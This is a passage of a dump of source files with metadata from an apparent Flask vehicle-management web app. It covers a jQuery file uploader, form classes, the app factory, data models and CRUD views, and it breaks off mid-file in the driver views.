"is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3910, "license_type": "no_license", "max_line_length": 205, "num_lines": 110, "path": "/static/js/scripts/uploader.js", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "$(function() {\r\n\r\n var ul = $('#upload ul');\r\n var acceptFileTypes = /^(application\\/json|text\\/plain|text\\/csv)$/i;\r\n var extensions = ['json', 'txt', 'csv', 'xml', 'mat', 'zip'];\r\n\r\n $('#drop a').click(function() {\r\n $(this).parent().find('input').click();\r\n });\r\n\r\n // Initialize the jQuery File Upload plugin\r\n $('#upload').fileupload({\r\n\r\n dropZone: $('#drop'),\r\n\r\n add: function(e, data) {\r\n var uploadError = true;\r\n var re = /(?:\\.([^.]+))?$/;\r\n var ext = re.exec(data.files[0]['name'])[1];\r\n // Check whether a file is accepted or not.\r\n\r\n if (ext != undefined && ext.length && (extensions.indexOf(ext) >= 0)) {\r\n uploadError = false;\r\n }\r\n if (!uploadError) {\r\n // if File Accepted :\r\n var tpl = $('<li class=\"working\"><input type=\"text\" value=\"0\" data-width=\"48\" data-height=\"48\" data-fgColor=\"#0788a5\" data-readOnly=\"1\" data-bgColor=\"#3e4043\" /><p></p><span></span></li>');\r\n tpl.find('p').text(data.files[0].name).append('<i>' + formatFileSize(data.files[0].size) + '</i>');\r\n data.context = tpl.appendTo(ul);\r\n tpl.find('input').knob({\r\n fgColor: \"#03A100\"\r\n });\r\n\r\n tpl.find('span').click(function() {\r\n if (tpl.hasClass('working')) {\r\n jqXHR.abort();\r\n }\r\n tpl.fadeOut(function() {\r\n tpl.remove();\r\n });\r\n });\r\n var jqXHR = data.submit();\r\n } else {\r\n // if Error\r\n var tpl = $('<li class=\"error working\"><div class=\"bad-extension\"></div><p></p><span></span></li>');\r\n tpl.find('p').text(data.files[0].name).append('<i>Extension not supported</i>');\r\n data.context = tpl.appendTo(ul);\r\n tpl.find('span').click(function() {\r\n tpl.fadeOut(function() {\r\n tpl.remove();\r\n });\r\n });\r\n }\r\n },\r\n\r\n progress: function(e, data) {\r\n\r\n // Calculate the completion percentage of the upload\r\n var progress = parseInt(data.loaded / data.total * 100, 10);\r\n\r\n // Update the hidden input field and trigger a change\r\n // so that the jQuery knob plugin knows to update the dial\r\n data.context.find('input').val(progress).change();\r\n\r\n if (progress == 100) {\r\n data.context.removeClass('working');\r\n }\r\n },\r\n\r\n fail: function(e, data) {\r\n // Something has gone wrong!\r\n data.context.addClass('error');\r\n\r\n },\r\n\r\n done: function(e, data) {\r\n var result = JSON.parse(data.result);\r\n if (result.status) {\r\n $('#send_files').append('<input type=\"hidden\" name=\"files\" value=\"' + result.message + '\" />');\r\n } else {\r\n data.context.addClass('error');\r\n data.context.find('p').find('i').html(\" \" + result.message).addClass('fa fa-exclamation-circle');\r\n }\r\n }\r\n\r\n });\r\n\r\n // Prevent the default action when a file is dropped on the window\r\n $(document).on('drop dragover', function(e) {\r\n e.preventDefault();\r\n });\r\n\r\n // Helper function that formats the file sizes\r\n function formatFileSize(bytes) {\r\n if (typeof bytes !== 'number') {\r\n return '';\r\n }\r\n\r\n if (bytes >= 1000000000) {\r\n return (bytes / 1000000000).toFixed(2) + ' GB';\r\n }\r\n\r\n if (bytes >= 1000000) {\r\n return (bytes / 1000000).toFixed(2) + ' MB';\r\n }\r\n\r\n return (bytes / 1000).toFixed(2) + ' KB';\r\n }\r\n\r\n});\r\n" }, { "alpha_fraction": 0.5564159154891968, "alphanum_fraction": 0.5652654767036438, "avg_line_length": 28.129032135009766, "blob_id": "7b8277514c35a037cdd16c892f4cd6299112855a", "content_id": "bbdbcbba5fc6615ccd6ee258ba77bcb40e2510ef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 904, "license_type": "no_license", "max_line_length": 81, "num_lines": 31, "path": "/app/carboard/forms/signalclass.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask_wtf import FlaskForm\nfrom wtforms import StringField, TextAreaField\nfrom wtforms.validators import DataRequired, Regexp, Length\n\nfrom ..models.signalclass import Signalclass\n# ------------------------ custom validation methods ------------------------ #\n\ndef signalclass_exist(form, field):\n if Signalclass.select().where(Signalclass.name == field.data).exists():\n raise ValidationError('Attribute already exists !')\n\n# ---------------------------- Driver form classes ---------------------------- #\n\n\nclass SignalclassForm(FlaskForm):\n \"\"\" Signalclass add/edit FlaskForm \"\"\"\n name = StringField(\n 'Name',\n validators=[\n DataRequired(),\n Length(min=3, max=50),\n # signalclass_exist()\n ]\n )\n\n description = TextAreaField(\n 'Description',\n validators=[\n Length(min=0,max=1000)\n ]\n )\n\n" }, { "alpha_fraction": 0.6693877577781677, "alphanum_fraction": 0.6816326379776001, "avg_line_length": 17.846153259277344, "blob_id": "876283a953a2af4c0c5861ec386eda8e4863641f", "content_id": "4657ecce0fa319da8d80618c15d361febb83ef21", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 245, "license_type": "permissive", "max_line_length": 38, "num_lines": 13, "path": "/app/plugins/hello_world/__init__.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from os import getcwd\nfrom app.plugin import AppPlugin\nfrom .src.views import hello\n\n__plugin__ = \"HelloWorld\"\n__version__ = \"1.0.0\"\n__path__ = getcwd()\n\n\nclass HelloWorld(AppPlugin):\n\n def setup(self):\n self.register_blueprint(hello)\n" }, { "alpha_fraction": 0.5905323624610901, "alphanum_fraction": 0.5935607552528381, "avg_line_length": 25.927038192749023, "blob_id": "fdb1fc430e47b186d85f412e79f135548463fc66", "content_id": "eaa79974d810fec888714824c2eb98fdc9983e8a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6274, "license_type": "no_license", "max_line_length": 81, "num_lines": 233, "path": "/main.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask import Flask, render_template, g\nimport flask_plugins\n\nfrom config.config import DefaultConfig\nfrom config.database import DatabaseConfig\nfrom config.mail import MailConfig\n\nfrom app.frontend import frontend\nfrom app.carboard import carboard\nfrom app.importer import importer\nfrom app.explorer import explorer\n# from app.dashboard import dashboard\nfrom app.api import api\nfrom app.filters import filters\n\nfrom app.carboard.models.user import User\nfrom app.extensions import (\n db, migrate, mail, toolbar, images, login_manager, redis,\n plugin_manager, socketio, misaka # , cache , session\n)\n\n\n__all__ = ['create_app']\n\n# ----------------------------- Blueprints List ----------------------------- #\n\nDEFAULT_BLUEPRINTS = (\n api,\n frontend,\n carboard,\n # dashboard,\n importer,\n explorer,\n filters\n)\n\n# ------------------------ Create a flask application ----------------------- #\n\n\ndef create_app(config=None, app_name=None, blueprints=None):\n \"\"\"Create a flask application.\"\"\"\n\n if app_name is None:\n app_name = DefaultConfig.PROJECT\n if blueprints is None:\n blueprints = DEFAULT_BLUEPRINTS\n # Create a flask application instance\n app = Flask(\n app_name,\n # static_url_path='',\n instance_path=DefaultConfig.INSTANCE_FOLDER_PATH,\n instance_relative_config=True\n )\n # jinja configuration\n app.jinja_env.trim_blocks = True\n app.jinja_env.lstrip_blocks = True\n # App configuration\n configure_app(app, config)\n # Static configuration\n static_file_status(app)\n # Before request\n configure_hook(app)\n # Register blueprints\n configure_blueprints(app, blueprints)\n # Inisialize extensions\n configure_extensions(app)\n # Template filters\n configure_template_filters(app)\n # Register plugins menu in g\n register_plugins_menu(app)\n # Error handling\n configure_error_handlers(app)\n\n return app\n\n\n# --------------------------- Minified static files ------------------------ #\n\ndef static_file_status(app, debug=None):\n \"\"\"Use minified static files if debug is True\"\"\"\n if debug is None:\n debug = app.config['DEBUG']\n minified = \".min\" if debug is False else \"\"\n app.jinja_env.globals.update(minified=minified)\n app.jinja_env.add_extension('jinja2.ext.do')\n\n# ----------------------------- App configuration --------------------------- #\n\n\ndef configure_app(app, config=None):\n \"\"\"App configuration.\"\"\"\n\n app.config.from_object(DefaultConfig)\n app.config.from_object(DatabaseConfig)\n app.config.from_object(MailConfig)\n if config:\n app.config.from_object(config)\n\n# ------------------------------- Before & After request -------------------- #\n\n\ndef configure_hook(app):\n @app.before_request\n def before_request():\n pass\n\n @app.after_request\n def apply_caching(response):\n response.headers['Cache-Control'] = 'no-cache, no-store, must-revalidate'\n return response\n# ---------------------------- Register blueprints ------------------------- #\n\n\ndef configure_blueprints(app, blueprints):\n \"\"\"Configure blueprints in views.\"\"\"\n\n for blueprint in blueprints:\n app.register_blueprint(blueprint)\n\n# --------------------------- Inisialize extensions ------------------------ #\n\n\ndef configure_extensions(app):\n\n # flask-sqlalchemy\n db.init_app(app)\n\n # flask-migrate\n migrate.init_app(app, db)\n\n # flask-mail\n mail.init_app(app)\n # flask-cache\n # cache.init_app(app)\n\n # initialize debug toolbar\n # toolbar.init_app(app)\n\n # initialize Images utils\n images.init_app(app)\n\n # initialize FlaskRedis\n redis.init_app(app)\n\n # initialize FlaskRedis\n misaka.init_app(app)\n\n # initialize SocketIO\n socketio.init_app(app)\n\n # initialize Session\n # session.init_app(app)\n\n # initialize pluginManager\n # plugin_manager.init_app(\n # app,\n # base_app_folder='app',\n # plugin_folder=\"app/plugins\"\n # )\n plugin_manager.init_app(\n app,\n plugin_folder=\"app/plugins\",\n plugin_import_path='app.plugins',\n )\n\n # flask-login\n login_manager.login_view = 'carboard.login'\n login_manager.refresh_view = 'carboard.reauth'\n\n @login_manager.user_loader\n def load_user(id):\n return User.query.get(id)\n login_manager.setup_app(app)\n\n# ------------------------------ Template filters -------------------------- #\n\n\ndef configure_template_filters(app):\n\n @app.template_filter()\n def pretty_date(value):\n return pretty_date(value)\n\n @app.template_filter()\n def format_date(value, format='%Y-%m-%d'):\n return value.strftime(format)\n\n# ------------------------------ Plugins menus ----------------------------- #\n\n\ndef convert_keys_to_string(dictionary):\n \"\"\"Recursively converts dictionary keys to strings.\"\"\"\n if not isinstance(dictionary, dict):\n return dictionary\n return dict((str(k), str(convert_keys_to_string(v)))\n for k, v in dictionary.items())\n\n\ndef register_plugins_menu(app):\n\n @app.context_processor\n def configure_plugins_menu():\n plugins = flask_plugins.get_all_plugins()\n\n plugins_menu = []\n for plugin in plugins:\n if plugin.options['favorite']:\n plugins_menu.append({\n 'id': str(plugin.identifier),\n 'name': str(plugin.name),\n 'iclass': plugin.options.get('iclass', 'fa fa-puzzle-piece'),\n 'favorite': plugin.options.get('favorite', False),\n 'treeview': plugin.options.get('treeview', False),\n 'menu': plugin.options.get('menu', None),\n })\n return {'plugins_menu': plugins_menu}\n\n# ------------------------------- Error handling --------------------------- #\n\n\ndef configure_error_handlers(app):\n\n @app.errorhandler(403)\n def forbidden_page(error):\n return render_template(\"errors/forbidden_page.html\"), 403\n\n @app.errorhandler(404)\n def page_not_found(error):\n return render_template(\"errors/page_not_found.html\"), 404\n\n @app.errorhandler(500)\n def server_error_page(error):\n return render_template(\"errors/server_error.html\"), 500\n" }, { "alpha_fraction": 0.6039374470710754, "alphanum_fraction": 0.6137810945510864, "avg_line_length": 30.399999618530273, "blob_id": "157e0e127f255feff0af887ff00185a3b85f2b80", "content_id": "cb68e824d60ba07b909c2d76b56529f3b9a6e628", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1727, "license_type": "no_license", "max_line_length": 109, "num_lines": 55, "path": "/app/carboard/models/signal.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from datetime import datetime\nfrom marshmallow import Schema, fields\nfrom ...extensions import db\n\n\n# -------------------------------- Signal Model ------------------------------- #\n\n\nclass Signal(db.Model):\n \"\"\" Signal Model: \"\"\"\n __tablename__ = 'signals'\n\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(255))\n description = db.Column(db.Text)\n type = db.Column(db.String(255))\n range = db.Column(db.String(255))\n frequency = db.Column(db.String(255))\n unit = db.Column(db.String(255))\n\n extrasignals = db.relationship(\"Extrasignal\")\n\n signalclass_id = db.Column(db.Integer, db.ForeignKey('signalclasses.id'))\n signalclass = db.relationship(\"Signalclass\", back_populates=\"signals\")\n\n signalsource_id = db.Column(db.Integer, db.ForeignKey('signalsources.id'))\n signalsource = db.relationship(\"Signalsource\", back_populates=\"signals\")\n\n status = db.Column(db.SmallInteger, default=1)\n created = db.Column(db.DateTime(), default=datetime.utcnow())\n\n def __init__(self, name, signalclass_id, signalsource_id, frequency, type, description, unit, status=1 ):\n self.name = name\n self.signalclass_id = signalclass_id\n self.signalsource_id = signalsource_id\n self.status = status\n self.frequency = frequency\n self.type = type\n self.description = description\n self.unit = unit\n\n def __repr__(self):\n return str(self.name)\n\n\n# -------------------------------- Signal Model ----------------------------- #\n\n\nclass SignalSchema(Schema):\n \"\"\" Extra signals schema \"\"\"\n\n id = fields.Int(dump_only=True)\n name = fields.Str()\n signalclass = fields.Str()\n signalsource = fields.Str()\n" }, { "alpha_fraction": 0.6158388257026672, "alphanum_fraction": 0.6193122863769531, "avg_line_length": 32.47674560546875, "blob_id": "84bc3f3b98034ed60709f6a6f74c5c12ff015cb2", "content_id": "e28bfba94241fb9777b32080ffbc3c27a5b88ef2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2879, "license_type": "no_license", "max_line_length": 88, "num_lines": 86, "path": "/app/carboard/views/drivetype.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask import (\n render_template, request, flash, redirect, url_for\n)\nfrom flask_login import login_required\n\nfrom . import carboard\nfrom ..models.drivetype import DriveType\nfrom ..forms.drivetype import DriveTypeForm\nfrom ..helpers import paginate\nfrom ..constants import PER_PAGE\nfrom ...extensions import db\n\n\n# --------------------- /carboard/drivetype/ : List of countries ------------------ #\n\[email protected]('/drivetype/')\n@login_required\ndef indexDriveType():\n drivetypes = DriveType.query.paginate(\n page=request.args.get('page', 1, type=int),\n per_page=request.args.get('per_page', PER_PAGE, type=int),\n )\n return render_template('carboard/drivetype/index.html',\n drivetypes=drivetypes\n )\n\n# ----------------------- /carboard/drivetype/id : Show drivetype ------------------- #\n\n\[email protected]('/drivetype/<int:id>', methods=['GET'])\n@login_required\ndef showDriveType(id):\n drivetype = DriveType.query.get_or_404(id)\n return render_template('carboard/drivetype/show.html',\n drivetype=drivetype\n )\n\n# ---------------------- /carboard/drivetype/new : Add drivetype -------------------- #\n\n\[email protected]('/drivetype/new', methods=['GET', 'POST'])\n@login_required\ndef newDriveType():\n \"\"\" Add new driver type \"\"\"\n\n form = DriveTypeForm()\n\n if form.validate_on_submit():\n drivetype = DriveType(\n name=form.name.data\n )\n db.session.add(drivetype)\n db.session.commit()\n flash('Driver type {}, added successfully.'.format(form.name.data), 'success')\n return redirect(url_for('carboard.indexDriveType'))\n\n return render_template('carboard/drivetype/new.html', form=form)\n\n# -------------------- /carboard/drivetype/id/edit : Edit drivetype ----------------- #\n\n\[email protected]('/drivetype/<int:id>/edit', methods=['GET', 'POST'])\n@login_required\ndef editDriveType(id):\n \"\"\" Edit existing driver type \"\"\"\n drivetype = DriveType.query.get_or_404(id)\n form = DriveTypeForm(obj=drivetype)\n if form.validate_on_submit():\n form.populate_obj(drivetype)\n db.session.commit()\n flash('Driver type {}, updated successfully.'.format(form.name.data), 'success')\n return redirect(url_for('carboard.showDriveType', id=id))\n\n return render_template('carboard/drivetype/edit.html', form=form, id=id)\n\n# ------------------ /carboard/drivetype/id/delete : Delete drivetype --------------- #\n\n\[email protected]('/drivetype/<int:id>/delete', methods=['GET'])\n@login_required\ndef deleteDriveType(id):\n drivetype = DriveType.query.get_or_404(id)\n db.session.delete(drivetype)\n db.session.commit()\n flash('Driver type {}, deleted successfully.'.format(drivetype.name), 'success')\n return redirect(url_for('carboard.indexDriveType'))\n" }, { "alpha_fraction": 0.4955640137195587, "alphanum_fraction": 0.5044360160827637, "avg_line_length": 25.299999237060547, "blob_id": "bf7b5431db1e30c928452dfa315dccda9555651d", "content_id": "029fbbe989dca0f19259f776646c7f7ca051d49a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 789, "license_type": "no_license", "max_line_length": 79, "num_lines": 30, "path": "/app/filters.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "import jinja2\nimport flask\n\nfrom .carboard.constants import ROLES, MIMETYPE\n\nfilters = flask.Blueprint('filters', __name__)\n\n# ---------------------- -- -- -- -- -- -- -- -- -- -- ---------------------- #\n\n\[email protected]\[email protected]_template_filter()\ndef roles(context, value):\n \"\"\" Return the Role name from ROLES list.\"\"\"\n return ROLES[value][1]\n# ---------------------- -- -- -- -- -- -- -- -- -- -- ---------------------- #\n\n\[email protected]\[email protected]_template_filter()\ndef mimetypes(context, value):\n \"\"\" Return the Format name from MIMETYPE list.\"\"\"\n return MIMETYPE[value][1]\n# ---------------------- -- -- -- -- -- -- -- -- -- -- ---------------------- #\n\n\[email protected]\[email protected]_template_filter()\ndef status(context, value):\n return 2\n" }, { "alpha_fraction": 0.5395408272743225, "alphanum_fraction": 0.5497449040412903, "avg_line_length": 22.75757598876953, "blob_id": "944d206274d05291e2ae630dde8d5bc5e53fbfbc", "content_id": "769c1dcc57cba0760a30819d85dc893f89e943a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 784, "license_type": "no_license", "max_line_length": 79, "num_lines": 33, "path": "/app/carboard/forms/signalsource.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask_wtf import FlaskForm\nfrom wtforms import StringField, TextAreaField\nfrom wtforms.validators import DataRequired, Regexp, Length\n\nfrom ..models.signalsource import Signalsource\n\n\n# ------------------------ custom validation methods ------------------------ #\n\ndef signalsource_exist(form, field):\n pass\n\n\n# ---------------------------- Signalsource form classes -------------------- #\n\n\nclass SignalsourceForm(FlaskForm):\n \"\"\" Signalsource add/edit FlaskForm \"\"\"\n name = StringField(\n 'Name',\n validators=[\n DataRequired(),\n Length(min=3, max=50),\n # Signalsource_exist()\n ]\n )\n\n description = TextAreaField(\n 'Description',\n validators=[\n Length(min=0, max=1000)\n ]\n )\n" }, { "alpha_fraction": 0.6364645957946777, "alphanum_fraction": 0.63979572057724, "avg_line_length": 35.60975646972656, "blob_id": "950a520400fcdb690e3bb8a3666677228cf5fba5", "content_id": "aefab2b419eab46a6c67f69531862d361d09c207", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4503, "license_type": "no_license", "max_line_length": 83, "num_lines": 123, "path": "/app/carboard/views/vehicle.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask import (\n render_template, request, flash, redirect, url_for\n)\nfrom flask_login import login_required\n\nfrom . import carboard\nfrom ..models.vehicle import Vehicle\nfrom ..models.user import User\nfrom ..models.brand import Brand\nfrom ..models.model import Model\nfrom ..models.driver import Driver\nfrom ..models.status import Status\nfrom ..forms.vehicle import VehicleForm, VehicleStatusForm\nfrom ..helpers import paginate, choices, upload_file\nfrom ..constants import PER_PAGE, VEHICLE_LOGO_DIR\nfrom ...extensions import db\n\n# --------------------- /carboard/vehicle/ : List of vehicles ------------------ #\n\[email protected]('/vehicle/')\n@login_required\ndef indexVehicle():\n vehicles = Vehicle.query.paginate(\n page=request.args.get('page', 1, type=int),\n per_page=request.args.get('per_page', PER_PAGE, type=int),\n )\n return render_template('carboard/vehicle/index.html', vehicles=vehicles)\n\n# ----------------------- /carboard/vehicle/id : Show vehicle ------------------- #\n\n\[email protected]('/vehicle/<int:id>', methods=['GET'])\n@login_required\ndef showVehicle(id):\n vehicle = Vehicle.query.get_or_404(id)\n return render_template('carboard/vehicle/show.html', vehicle=vehicle)\n\n# ---------------------- /carboard/vehicle/new : Add vehicle -------------------- #\n\n\[email protected]('/vehicle/new', methods=['GET', 'POST'])\n@login_required\ndef newVehicle():\n \"\"\" Add new vehicle \"\"\"\n\n form = VehicleForm()\n form.user_id.choices = choices(User, 'Select a user', 1, 'username')\n form.brand_id.choices = choices(Brand, 'Select a brand')\n form.model_id.choices = choices(Model, 'Select a model')\n form.driver_id.choices = choices(Driver, 'Select a Driver', False, 'fullname')\n\n if form.validate_on_submit():\n image = upload_file(form.image.data, VEHICLE_LOGO_DIR)\n vehicle = Vehicle(\n user_id=form.user_id.data,\n brand_id=form.brand_id.data,\n model_id=form.model_id.data,\n driver_id=form.driver_id.data,\n image=image\n )\n db.session.add(vehicle)\n db.session.commit()\n flash('Vehicle {}, added successfully.'.format(vehicle), 'success')\n return redirect(url_for('carboard.indexVehicle'))\n\n return render_template('carboard/vehicle/new.html', form=form)\n\n# -------------------- /carboard/vehicle/id/edit : Edit vehicle ----------------- #\n\n\[email protected]('/vehicle/<int:id>/edit', methods=['GET', 'POST'])\n@login_required\ndef editVehicle(id):\n \"\"\" Edit existing vehicle \"\"\"\n vehicle = Vehicle.query.get_or_404(id)\n oldImage = vehicle.image\n\n form = VehicleForm(obj=vehicle)\n form.user_id.choices = choices(User, 'Select a user', 1, 'username')\n form.brand_id.choices = choices(Brand, 'Select a brand')\n form.model_id.choices = choices(Model, 'Select a model')\n form.driver_id.choices = choices(Driver, 'Select a Driver', False, 'fullname')\n\n if form.validate_on_submit():\n form.populate_obj(vehicle)\n image = upload_file(form.image.data, VEHICLE_LOGO_DIR)\n if image is None:\n vehicle.image = oldImage\n else:\n vehicle.image = image\n db.session.commit()\n flash('Vehicle {}, updated successfully.'.format(vehicle), 'success')\n return redirect(url_for('carboard.showVehicle', id=id))\n\n return render_template('carboard/vehicle/edit.html', form=form, id=id)\n\n# ------------------ /carboard/vehicle/id/delete : Delete vehicle --------------- #\n\n\[email protected]('/vehicle/<int:id>/toggle', methods=['GET', 'POST'])\n@login_required\ndef toggleVehicle(id):\n vehicle = Vehicle.query.get_or_404(id)\n form = VehicleStatusForm(obj=vehicle)\n form.status_id.choices = [(s.id, s) for s in Status.query.all()]\n if form.validate_on_submit():\n form.populate_obj(vehicle)\n db.session.commit()\n flash('Vehicle {}, updated successfully.'.format(vehicle.brand), 'success')\n return redirect(url_for('carboard.showVehicle', id=id))\n return render_template('carboard/vehicle/status.html', form=form, id=id)\n\n# ------------------ /carboard/vehicle/id/delete : Delete vehicle --------------- #\n\n\[email protected]('/vehicle/<int:id>/delete', methods=['GET'])\n@login_required\ndef deleteVehicle(id):\n vehicle = Vehicle.query.get_or_404(id)\n db.session.delete(vehicle)\n db.session.commit()\n flash('Vehicle {}, deleted successfully.'.format(vehicle), 'success')\n return redirect(url_for('carboard.indexVehicle'))\n" }, { "alpha_fraction": 0.6046239137649536, "alphanum_fraction": 0.6095990538597107, "avg_line_length": 31.542856216430664, "blob_id": "ccb2b87e62a52bbf934cd2f2cfe1ee5835f88e66", "content_id": "67bb4fcd076245e6ca931fab9a2b15f71660b7e3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3417, "license_type": "no_license", "max_line_length": 82, "num_lines": 105, "path": "/app/carboard/views/brand.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask import (\n render_template, request, flash, redirect, url_for\n)\nfrom flask_login import login_required\n\nfrom . import carboard\nfrom ..models.brand import Brand\nfrom ..forms.brand import BrandForm\nfrom ..helpers import paginate, upload_file\nfrom ..constants import PER_PAGE, BRAND_LOGO_DIR\nfrom ...extensions import db\n\n# --------------------- /carboard/brand/ : List of brands ------------------ #\n\[email protected]('/brand/')\n@login_required\ndef indexBrand():\n brands = Brand.query.paginate(\n page=request.args.get('page', 1, type=int),\n per_page=request.args.get('per_page', PER_PAGE, type=int),\n )\n return render_template('carboard/brand/index.html', brands=brands)\n\n# ----------------------- /carboard/brand/id : Show brand ------------------- #\n\n\[email protected]('/brand/<int:id>', methods=['GET'])\n@login_required\ndef showBrand(id):\n brand = Brand.query.get_or_404(id)\n return render_template('carboard/brand/show.html', brand=brand)\n\n# ---------------------- /carboard/brand/new : Add brand -------------------- #\n\n\[email protected]('/brand/new', methods=['GET', 'POST'])\n@login_required\ndef newBrand():\n \"\"\" Add new brand \"\"\"\n\n form = BrandForm()\n\n if form.validate_on_submit():\n logo = upload_file(form.logo.data, BRAND_LOGO_DIR)\n brand = Brand(\n name=form.name.data,\n code=form.code.data,\n logo=logo\n )\n db.session.add(brand)\n db.session.commit()\n flash('Brand {}, added successfully.'.format(form.name.data), 'success')\n return redirect(url_for('carboard.indexBrand'))\n\n return render_template('carboard/brand/new.html', form=form)\n\n# -------------------- /carboard/brand/id/edit : Edit brand ----------------- #\n\n\[email protected]('/brand/<int:id>/edit', methods=['GET', 'POST'])\n@login_required\ndef editBrand(id):\n \"\"\" Edit existing brand \"\"\"\n brand = Brand.query.get_or_404(id)\n oldLogo = brand.logo\n form = BrandForm(obj=brand)\n if form.validate_on_submit():\n form.populate_obj(brand)\n logo = upload_file(form.logo.data, BRAND_LOGO_DIR)\n if logo is None:\n brand.logo = oldLogo\n else:\n brand.logo = logo\n db.session.commit()\n flash('Brand {}, updated successfully.'.format(form.name.data), 'success')\n return redirect(url_for('carboard.showBrand', id=id))\n\n return render_template('carboard/brand/edit.html', form=form, id=id)\n\n# ------------------ /carboard/brand/id/delete : Delete brand --------------- #\n\n\[email protected]('/brand/<int:id>/toggle', methods=['GET'])\n@login_required\ndef toggleBrand(id):\n brand = Brand.query.get_or_404(id)\n # getattr(brand, 'status', 0)\n status = brand.status if brand.status is not None else 0\n brand.status = 1 - status\n db.session.commit()\n msg = 'activated' if brand.status is 1 else 'deactivated'\n flash('Brand {}, {} successfully.'.format(brand.name, msg), 'success')\n return redirect(url_for('carboard.indexBrand'))\n\n# ------------------ /carboard/brand/id/delete : Delete brand --------------- #\n\n\[email protected]('/brand/<int:id>/delete', methods=['GET'])\n@login_required\ndef deleteBrand(id):\n brand = Brand.query.get_or_404(id)\n db.session.delete(brand)\n db.session.commit()\n flash('Brand {}, deleted successfully.'.format(brand.name), 'success')\n return redirect(url_for('carboard.indexBrand'))\n" }, { "alpha_fraction": 0.6235954761505127, "alphanum_fraction": 0.6235954761505127, "avg_line_length": 23.920000076293945, "blob_id": "50fb527bb7bea5fba74504e6b7cb3f9ca21078e9", "content_id": "4daf4cbad1ed6edf5b865b8c462b24490cf10d6d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1246, "license_type": "no_license", "max_line_length": 74, "num_lines": 50, "path": "/app/plugin.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask import current_app\nfrom flask_plugins import Plugin\n\n\nclass AppPlugin(Plugin):\n\n \"\"\" Custom plugin class, it implements some useful methods\n to deal with plugins\n \"\"\"\n\n has_settings = False\n\n def register_blueprint(self, blueprint, **kwargs):\n \"\"\"Register a plugin blueprint\"\"\"\n current_app.register_blueprint(blueprint, **kwargs)\n\n def is_installed(self):\n \"\"\"Check whether the plugin is installed\"\"\"\n return self.has_settings is True\n\n def is_enabled(self):\n \"\"\"Check whether the plugin is enabled\"\"\"\n return self.has_settings is True\n\n def uninstallable(self):\n \"\"\"Check whether the plugin is installed and can be uninstalled\"\"\"\n return self.has_settings is True\n\n def enabled(self):\n \"\"\"Enable plugin\"\"\"\n return self.has_settings is True\n\n def disable(self):\n \"\"\"Disable plugin\"\"\"\n return self.has_settings is True\n\n @staticmethod\n def all(self):\n \"\"\"List all plugin\"\"\"\n return True\n\n @staticmethod\n def all_enabled(self):\n \"\"\"List all enabled plugin\"\"\"\n return True\n\n @staticmethod\n def all_disabled(self):\n \"\"\"List all disabled plugin\"\"\"\n return True\n" }, { "alpha_fraction": 0.6257582902908325, "alphanum_fraction": 0.630657970905304, "avg_line_length": 34.71666717529297, "blob_id": "8fc569a2bd8dc77d2650bdb76cc22e9694d4423b", "content_id": "53f8908bd573cc395ead1879359207b45f9e51e9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4286, "license_type": "no_license", "max_line_length": 87, "num_lines": 120, "path": "/app/carboard/views/driver.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask import (\n render_template, request, flash, redirect, url_for\n)\nfrom flask_login import login_required\n\nfrom . import carboard\nfrom ..models.driver import Driver\nfrom ..models.user import User\nfrom ..models.country import Country\nfrom ..models.status import Status\nfrom ..forms.driver import DriverForm\nfrom ..helpers import paginate, choices, upload_file\nfrom ..constants import PER_PAGE, DRIVER_LOGO_DIR\nfrom ...extensions import db\n\n# --------------------- /carboard/driver/ : List of drivers ------------------ #\n\[email protected]('/driver/')\n@login_required\ndef indexDriver():\n drivers = Driver.query.paginate(\n page=request.args.get('page', 1, type=int),\n per_page=request.args.get('per_page', PER_PAGE, type=int),\n )\n return render_template('carboard/driver/index.html', drivers=drivers)\n\n# ----------------------- /carboard/driver/id : Show driver ------------------- #\n\n\[email protected]('/driver/<int:id>', methods=['GET'])\n@login_required\ndef showDriver(id):\n driver = Driver.query.get_or_404(id)\n return render_template('carboard/driver/show.html', driver=driver)\n\n# ---------------------- /carboard/driver/new : Add driver -------------------- #\n\n\[email protected]('/driver/new', methods=['GET', 'POST'])\n@login_required\ndef newDriver():\n \"\"\" Add new driver \"\"\"\n\n form = DriverForm()\n form.user_id.choices = choices(User, 'Select a user', 1, 'username')\n form.country_id.choices = choices(Country, 'Select a country', 1, 'title')\n form.status_id.choices = choices(Status, 'Select a status', False, 'title')\n\n if form.validate_on_submit():\n avatar = upload_file(form.avatar.data, DRIVER_LOGO_DIR)\n driver = Driver(\n gender=form.gender.data,\n fullname=form.fullname.data,\n user_id=form.user_id.data,\n status_id=form.status_id.data,\n country_id=form.country_id.data,\n city=form.city.data,\n avatar=avatar\n )\n db.session.add(driver)\n db.session.commit()\n flash('Driver {}, added successfully.'.format(form.fullname.data), 'success')\n return redirect(url_for('carboard.indexDriver'))\n\n return render_template('carboard/driver/new.html', 